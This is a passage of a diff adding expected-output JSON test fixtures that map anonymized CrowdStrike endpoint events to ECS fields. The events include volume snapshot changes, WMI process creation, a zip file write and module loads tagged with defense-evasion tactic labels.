+                "original": "{\"ContextThreadId\":\"100445831083903\",\"aip\":\"89.160.20.112\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"fa20370b2cc4c0e88d161f705a2bba7fbe37\",\"RpcClientProcessId\":\"4000150007426\",\"id\":\"f6b9775ac6046bae94a4121496a6896a86f6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"VolumeSnapshotCreated\",\"ContextTimeStamp\":\"1749838695.450\",\"UserName\":\"481403faf1d\",\"ConfigStateHash\":\"892001000\",\"ContextProcessId\":\"3093093002701\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"680008401000314\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"RpcOpNum\":\"8\",\"Entitlements\":\"16\",\"name\":\"20c2ece111ed142fd2567b9\",\"aid\":\"3dc8ee79410457af4c28499efe37b5bc\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\da2d906a\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd",
+                "name": "da2d906a",
+                "path": "\\6ba0bd\\da2d906a",
+                "type": "file"
+            },
+            "host": {
+                "id": "3dc8ee79410457af4c28499efe37b5bc",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "VolumeSnapshotCreated",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "3dc8ee79410457af4c28499efe37b5bc",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "entity_id": "3093093002701",
+                "thread": {
+                    "id": 100445831083903
+                }
+            },
+            "related": {
+                "hash": [
+                    "892001000"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "user": [
+                    "481403faf1d"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "481403faf1d"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "7800020060",
+                "ContextProcessId": "8000830008430",
+                "ContextTimeStamp": "2025-10-09T17:02:20.183Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "26",
+                "EventOrigin": "1",
+                "InterfaceGuid": "48e8e6085fac8e183337f9647e2623b38023",
+                "InterfaceVersion": "0",
+                "RpcClientProcessId": "5000504040107",
+                "RpcClientThreadId": "914521090820021",
+                "RpcNestingLevel": "1",
+                "RpcOpNum": "40",
+                "SHA256HashData": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68",
+                "TokenType": "1",
+                "VolumeDriveLetter": "82",
+                "VolumeName": "\\6ba0bd\\257d4e13",
+                "VolumeSnapshotName": "\\6ba0bd\\8536f344",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "00d920a4c248b10173113fc4155a74b4b655",
+                "name": "1523f0687a552764e446cf1"
+            },
+            "device": {
+                "id": "10ee42b0c65b014b6197f3d92782c4ad"
+            },
+            "event": {
+                "action": "VolumeSnapshotDeleted",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "00d920a4c248b10173113fc4155a74b4b655|10ee42b0c65b014b6197f3d92782c4ad|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextThreadId\":\"449040000360080\",\"aip\":\"81.2.69.142\",\"VolumeDriveLetter\":\"82\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"VolumeSnapshotName\":\"\\\\6ba0bd\\\\8536f344\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"48e8e6085fac8e183337f9647e2623b38023\",\"RpcClientProcessId\":\"5000504040107\",\"id\":\"00d920a4c248b10173113fc4155a74b4b655\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"VolumeSnapshotDeleted\",\"VolumeName\":\"\\\\6ba0bd\\\\257d4e13\",\"ContextTimeStamp\":\"1760029340.183\",\"UserName\":\"580d88d\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"8000830008430\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"914521090820021\",\"SHA256HashData\":\"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"54d\\\\d598026\\\\4a6a0a4b\\\\a096c58f.exe\\\"\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\a096c58f.exe\",\"RpcOpNum\":\"40\",\"Entitlements\":\"26\",\"name\":\"1523f0687a552764e446cf1\",\"aid\":\"10ee42b0c65b014b6197f3d92782c4ad\",\"RpcNestingLevel\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "deletion"
+                ]
+            },
+            "host": {
+                "id": "10ee42b0c65b014b6197f3d92782c4ad",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "VolumeSnapshotDeleted",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "10ee42b0c65b014b6197f3d92782c4ad",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "54d\\d598026\\4a6a0a4b\\a096c58f.exe"
+                ],
+                "args_count": 1,
+                "command_line": "54d\\d598026\\4a6a0a4b\\a096c58f.exe\"",
+                "entity_id": "8000830008430",
+                "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe",
+                "name": "a096c58f.exe",
+                "thread": {
+                    "id": 449040000360080
+                }
+            },
+            "related": {
+                "hash": [
+                    "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68",
+                    "7800020060"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "580d88d"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "580d88d"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "400605500",
+                "BoundingLimitCount": 1,
+                "BoundingLimitDuration": "1486640",
+                "ConfigStateHash": "450007109",
+                "ContextTimeStamp": "2025-10-19T21:43:27.570Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "RpcClientProcessId": "901070429000",
+                "RpcClientThreadId": "5500404207604",
+                "TokenType": "2",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "4fd1a6718f8c7a25e6af1b5af89b5565a443",
+                "name": "4d986d3e22110751d0"
+            },
+            "device": {
+                "id": "8bba3f79ae72c48db0721bce1cc23f47"
+            },
+            "event": {
+                "action": "WmiCreateProcess",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "4fd1a6718f8c7a25e6af1b5af89b5565a443|8bba3f79ae72c48db0721bce1cc23f47|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"WmiCreateProcess\",\"ContextTimeStamp\":\"1760910207.570\",\"UserName\":\"f3c32fdf5aef1041\",\"ConfigStateHash\":\"450007109\",\"aip\":\"81.2.69.192\",\"RpcClientThreadId\":\"5500404207604\",\"BoundingLimitCount\":\"1\",\"AuthenticationId\":\"400605500\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"43126eea\\\\79499b4.1\\\\48\\\\a686\\\\44dc\\\\9f8c9452\\\\30973301\\\\6961403c.txt\\\" 2>&1\\\"\",\"TokenType\":\"2\",\"TargetProcessId\":\"341000415765\",\"BoundingLimitDuration\":\"1486640\",\"ImageFileName\":\"\\\\6ba0bd\\\\6cf19058\\\\d598026\\\\dc9ec376\\\\04d.exe\",\"Entitlements\":\"86\",\"name\":\"4d986d3e22110751d0\",\"EventOrigin\":\"1\",\"RpcClientProcessId\":\"901070429000\",\"id\":\"4fd1a6718f8c7a25e6af1b5af89b5565a443\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8bba3f79ae72c48db0721bce1cc23f47\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "8bba3f79ae72c48db0721bce1cc23f47",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "WmiCreateProcess",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "8bba3f79ae72c48db0721bce1cc23f47",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "args": [
+                    "43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt 2>&1"
+                ],
+                "args_count": 1,
+                "command_line": "43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"",
+                "entity_id": "341000415765",
+                "executable": "\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe",
+                "name": "04d.exe"
+            },
+            "related": {
+                "hash": [
+                    "450007109"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "user": [
+                    "f3c32fdf5aef1041"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "f3c32fdf5aef1041"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ClientComputerName": "f2752e89",
+                "ConfigStateHash": "750096004",
+                "ContextProcessId": "9977300700005",
+                "ContextTimeStamp": "2025-05-09T10:14:21.429Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "1",
+                "PatternId": "260",
+                "PerformanceCounter": "c0350cfa279c5991",
+                "WmiProviderName": "\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8",
+                "WmiProviderType": "425f2336",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "08b4a44cd2f229eadaa6f64169deb30db7f7",
+                "name": "256ae77a9371219d15d0ae429aae"
+            },
+            "device": {
+                "id": "fe88182661659af8a192fac5db624574"
+            },
+            "event": {
+                "action": "WmiProviderRegistrationEtw",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "08b4a44cd2f229eadaa6f64169deb30db7f7|fe88182661659af8a192fac5db624574|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"aip\":\"81.2.69.144\",\"WmiProviderType\":\"425f2336\",\"event_platform\":\"Win\",\"PatternId\":\"260\",\"ClientComputerName\":\"f2752e89\",\"EventOrigin\":\"1\",\"id\":\"08b4a44cd2f229eadaa6f64169deb30db7f7\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"WmiProviderRegistrationEtw\",\"ContextTimeStamp\":\"1746785661.429\",\"UserName\":\"207ef664\\\\d621c1\",\"ConfigStateHash\":\"750096004\",\"WmiProviderName\":\"\\\\c\\\\4813\\\\155e1\\\\63acf3b8.Name=\\\\6c12b79e.0\\\\8\",\"EtwRawProcessId\":\"4080\",\"ContextProcessId\":\"9977300700005\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"CommandLine\":\"82\\\\340d600\\\\dc9ec376\\\\c663c82b\\\\3819b3fa\\\\0c83.inf_amd64_7928011f35860ca3\\\\c53e7\\\\a3d70a9.exe\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\c663c82b\\\\3819b3fa\\\\0c83.inf_amd64_7928011f35860ca3\\\\c53e7\\\\a3d70a9.exe\",\"Entitlements\":\"76\",\"name\":\"256ae77a9371219d15d0ae429aae\",\"ProcessStartTime\":\"1745961781.179\",\"PerformanceCounter\":\"c0350cfa279c5991\",\"aid\":\"fe88182661659af8a192fac5db624574\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "fe88182661659af8a192fac5db624574",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "WmiProviderRegistrationEtw",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "fe88182661659af8a192fac5db624574",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "args": [
+                    "82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe"
+                ],
+                "args_count": 1,
+                "command_line": "82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe",
+                "entity_id": "9977300700005",
+                "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe",
+                "name": "a3d70a9.exe",
+                "pid": 4080,
+                "start": "2025-04-29T21:23:01.179Z"
+            },
+            "related": {
+                "hash": [
+                    "750096004"
+                ],
+                "hosts": [
+                    "f2752e89"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "207ef664\\d621c1"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "207ef664\\d621c1"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "710307050",
+                "ContextProcessId": "48146963060067",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "b2cdcff3f1ec7958dd0f0d3b83d51360bfa4",
+                "name": "993018c29291eaa31ad975c11fbbae3390"
+            },
+            "device": {
+                "id": "945a25b2d8f219a0693641fa5daeb3c4"
+            },
+            "event": {
+                "action": "WroteExeAndGeneratedServiceEvent",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "b2cdcff3f1ec7958dd0f0d3b83d51360bfa4|945a25b2d8f219a0693641fa5daeb3c4|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"WroteExeAndGeneratedServiceEvent\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"48146963060067\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"16\",\"name\":\"993018c29291eaa31ad975c11fbbae3390\",\"EventOrigin\":\"1\",\"id\":\"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"945a25b2d8f219a0693641fa5daeb3c4\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "host": {
+                "id": "945a25b2d8f219a0693641fa5daeb3c4",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "WroteExeAndGeneratedServiceEvent",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "945a25b2d8f219a0693641fa5daeb3c4",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "48146963060067"
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "329",
+                "ConfigStateHash": "9080101000",
+                "ContextBaseFileName": "7b31c1d240b3d",
+                "ContextProcessId": "356301901002",
+                "ContextTimeStamp": "2025-10-15T11:10:28.961Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "1",
+                "FileCategory": "1",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-43058-61586-47269",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "2b0434b299dc23d3e66d5af40855f712e176",
+                "name": "736782612c55c54fc"
+            },
+            "device": {
+                "id": "3e64efce7e8a490b018d335f25b68760"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "2b0434b299dc23d3e66d5af40855f712e176|3e64efce7e8a490b018d335f25b68760|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-43058-61586-47269\",\"ContextBaseFileName\":\"7b31c1d240b3d\",\"FileCategory\":\"1\",\"Size\":\"7000060\",\"ContextThreadId\":\"200084098009700\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.142\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\23579bbe\",\"id\":\"2b0434b299dc23d3e66d5af40855f712e176\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ZipFileWritten\",\"ContextTimeStamp\":\"1760526628.961\",\"ConfigStateHash\":\"9080101000\",\"ContextProcessId\":\"356301901002\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"329\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"76\",\"name\":\"736782612c55c54fc\",\"OperationFlags\":\"0\",\"aid\":\"3e64efce7e8a490b018d335f25b68760\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\a37a4d54\\\\c86835dc\\\\21e\\\\00e1\\\\a686\\\\4e7075fa.tmp\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "835\\b9e65ff8\\23579bbe",
+                "directory": "\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686",
+                "extension": "tmp",
+                "inode": "5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe",
+                "name": "4e7075fa.tmp",
+                "path": "\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp",
+                "size": 7000060,
+                "type": "file"
+            },
+            "host": {
+                "id": "3e64efce7e8a490b018d335f25b68760",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ZipFileWritten",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "3e64efce7e8a490b018d335f25b68760",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "356301901002",
+                "name": "7b31c1d240b3d",
+                "thread": {
+                    "id": 200084098009700
+                }
+            },
+            "related": {
+                "hash": [
+                    "9080101000"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "S-43058-61586-47269"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-43058-61586-47269"
+            }
+        },
+        {
+            "@timestamp": "2025-09-15T08:47:27.906Z",
+            "crowdstrike": {
+                "Attacks": [
+                    {
+                        "Tactic": "Defense Evasion",
+                        "Technique": "Subvert Trust Controls"
+                    }
+                ],
+                "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36",
+                "ConfigStateHash": "3164437859",
+                "ContextProcessId": "617055030004",
+                "ContextTimeStamp": "2025-09-15T08:47:27.386Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "ImageSignatureLevel": "2",
+                "ImageSignatureType": "0",
+                "IsProcessInitializing": "0",
+                "LocalAddressIP4": [
+                    "81.2.69.142"
+                ],
+                "MappedFromUserMode": "1",
+                "ModuleCharacteristics": "8450",
+                "ModuleLoadTelemetryClassification": "256",
+                "ModuleSize": "40960",
+                "OriginalFilename": "redacted.dll",
+                "PrimaryModule": "0",
+                "SignInfoFlags": "932000",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "b44b58becebd48898306ffd6600bf3f42c16",
+                "name": "ClassifiedModuleLoadV5"
+            },
+            "device": {
+                "id": "827afde25ba0eeda5d204a68ff612048"
+            },
+            "dll": {
+                "Ext": {
+                    "size": 40960
+                },
+                "code_signature": {
+                    "exists": false,
+                    "trusted": false
+                },
+                "hash": {
+                    "md5": "9fd1131ff976c9a3212a1db685870aa1",
+                    "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d"
+                },
+                "name": "<redacted>.dll",
+                "path": "\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll",
+                "pe": {
+                    "original_file_name": "redacted.dll"
+                }
+            },
+            "event": {
+                "action": "ClassifiedModuleLoad",
+                "category": [
+                    "library"
+                ],
+                "created": "2025-09-15T08:47:27.906Z",
+                "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ImageSignatureType\":\"0\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"2\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Windows\\\\\\\\<system>\\\\\\\\<redacted>.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Program Files (x86)\\\\\\\\<destination>.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "hostname": "redacted-computer-name",
+                "id": "827afde25ba0eeda5d204a68ff612048",
+                "name": "redacted-computer-name",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ClassifiedModuleLoad",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "827afde25ba0eeda5d204a68ff612048",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3542590006570",
+                "executable": "\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe",
+                "name": "<destination>.exe",
+                "thread": {
+                    "id": 32005063951800
+                }
+            },
+            "related": {
+                "hash": [
+                    "9fd1131ff976c9a3212a1db685870aa1",
+                    "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d",
+                    "3164437859"
+                ],
+                "hosts": [
+                    "redacted-computer-name"
+                ],
+                "ip": [
+                    "89.160.20.128",
+                    "81.2.69.142"
+                ]
+            },
+            "source": {
+                "address": "81.2.69.142",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.142"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Defense Evasion"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Subvert Trust Controls"
+                    ]
+                }
+            }
+        },
+        {
+            "@timestamp": "2025-09-15T08:47:27.906Z",
+            "crowdstrike": {
+                "Attacks": [
+                    {
+                        "Tactic": "Defense Evasion",
+                        "Technique": "Subvert Trust Controls"
+                    }
+                ],
+                "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36",
+                "ConfigStateHash": "3164437859",
+                "ContextProcessId": "617055030004",
+                "ContextTimeStamp": "2025-09-15T08:47:27.386Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "ImageSignatureLevel": "0",
+                "ImageSignatureType": "1",
+                "IsProcessInitializing": "0",
+                "LocalAddressIP4": [
+                    "81.2.69.142"
+                ],
+                "MappedFromUserMode": "1",
+                "ModuleCharacteristics": "8450",
+                "ModuleLoadTelemetryClassification": "256",
+                "ModuleSize": "40960",
+                "OriginalFilename": "redacted.dll",
+                "PrimaryModule": "0",
+                "SignInfoFlags": "932000",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "b44b58becebd48898306ffd6600bf3f42c16",
+                "name": "ClassifiedModuleLoadV5"
+            },
+            "device": {
+                "id": "827afde25ba0eeda5d204a68ff612048"
+            },
+            "dll": {
+                "Ext": {
+                    "size": 40960
+                },
+                "code_signature": {
+                    "exists": true,
+                    "trusted": false
+                },
+                "hash": {
+                    "md5": "9fd1131ff976c9a3212a1db685870aa1",
+                    "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d"
+                },
+                "name": "<redacted>.dll",
+                "path": "\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll",
+                "pe": {
+                    "original_file_name": "redacted.dll"
+                }
+            },
+            "event": {
+                "action": "ClassifiedModuleLoad",
